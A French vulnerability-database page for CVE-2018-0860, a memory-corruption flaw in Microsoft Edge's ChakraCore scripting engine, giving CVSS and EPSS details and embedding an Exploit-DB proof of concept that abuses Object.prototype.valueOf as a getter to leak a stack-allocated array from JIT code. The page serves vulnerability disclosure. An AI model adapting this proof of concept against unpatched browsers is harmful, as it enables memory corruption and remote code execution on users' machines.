CVE-2018-0860 : Détail

CVE-2018-0860

7.5
/
HIGH
Overflow
94.98%V3
Network
2018-02-12 23:00 +00:00
2018-02-17 09:57 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

Microsoft Edge and ChakraCore in Microsoft Windows 10 Gold, 1511, 1607, 1703, 1709, and Windows Server 2016 allows remote code execution, due to how the scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2018-0834, CVE-2018-0835, CVE-2018-0836, CVE-2018-0837, CVE-2018-0838, CVE-2018-0840, CVE-2018-0856, CVE-2018-0857, CVE-2018-0858, CVE-2018-0859, CVE-2018-0861, and CVE-2018-0866.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 44076

Date de publication : 2018-02-14 23:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Let's consider the following example code. function opt() { let arr = []; return arr['x']; } // Optimize the "opt" function. for (let i = 0; i < 100; i++) { opt(); } Array.prototype.__defineGetter__('x', function () { }); opt(); Once the "opt" function has been optimized, the getter function for "x" can't be invoked from the JITed code, instead it bailouts and invokes the getter. This is due to the DisableImplicitCallFlag flag. Here's the function handling that logic. template <class Fn> inline Js::Var ExecuteImplicitCall(Js::RecyclableObject * function, Js::ImplicitCallFlags flags, Fn implicitCall) { // For now, we will not allow Function that is marked as HasNoSideEffect to be called, and we will just bailout. // These function may still throw exceptions, so we will need to add checks with RecordImplicitException // so that we don't throw exception when disableImplicitCall is set before we allow these function to be called // as an optimization. (These functions are valueOf and toString calls for built-in non primitive types) Js::FunctionInfo::Attributes attributes = Js::FunctionInfo::GetAttributes(function); // we can hoist out const method if we know the function doesn't have side effect, // and the value can be hoisted. if (this->HasNoSideEffect(function, attributes)) { // Has no side effect means the function does not change global value or // will check for implicit call flags return implicitCall(); } // Don't call the implicit call if disable implicit call if (IsDisableImplicitCall()) { AddImplicitCallFlags(flags); // Return "undefined" just so we have a valid var, in case subsequent instructions are executed // before we bail out. return function->GetScriptContext()->GetLibrary()->GetUndefined(); } if ((attributes & Js::FunctionInfo::HasNoSideEffect) != 0) { // Has no side effect means the function does not change global value or // will check for implicit call flags return implicitCall(); } // Save and restore implicit flags around the implicit call Js::ImplicitCallFlags saveImplicitCallFlags = this->GetImplicitCallFlags(); Js::Var result = implicitCall(); this->SetImplicitCallFlags((Js::ImplicitCallFlags)(saveImplicitCallFlags | flags)); return result; } As you can see above, it checks if the DisableImplicitCallFlag flag is set using IsDisableImplicitCall, if it is, just returns undefined and bailouts. The reason that the flag was set in the example code was because of the "arr" variable was allocated in the stack. It was preventing the object from leaking through implicit calls. However, if the function has no side effect, the function gets called regardless of the flag. One such function that is marked as HasNoSideEffect, but we can abuse is the Object.prototype.valueOf method. This method returns "this" itself. So if we use this method as the getter, it will return the array object allocated in the stack. PoC: */ function opt() { let arr = []; return arr['x']; } function main() { let arr = [1.1, 2.2, 3.3]; for (let i = 0; i < 0x10000; i++) { opt(); } Array.prototype.__defineGetter__('x', Object.prototype.valueOf); print(opt()); } main();

Products Mentioned

Configuraton 0

Microsoft>>Edge >> Version -

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_server_2016 >> Version -

References

https://www.exploit-db.com/exploits/44076/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/102883
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1040372
Tags : vdb-entry, x_refsource_SECTRACK
Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.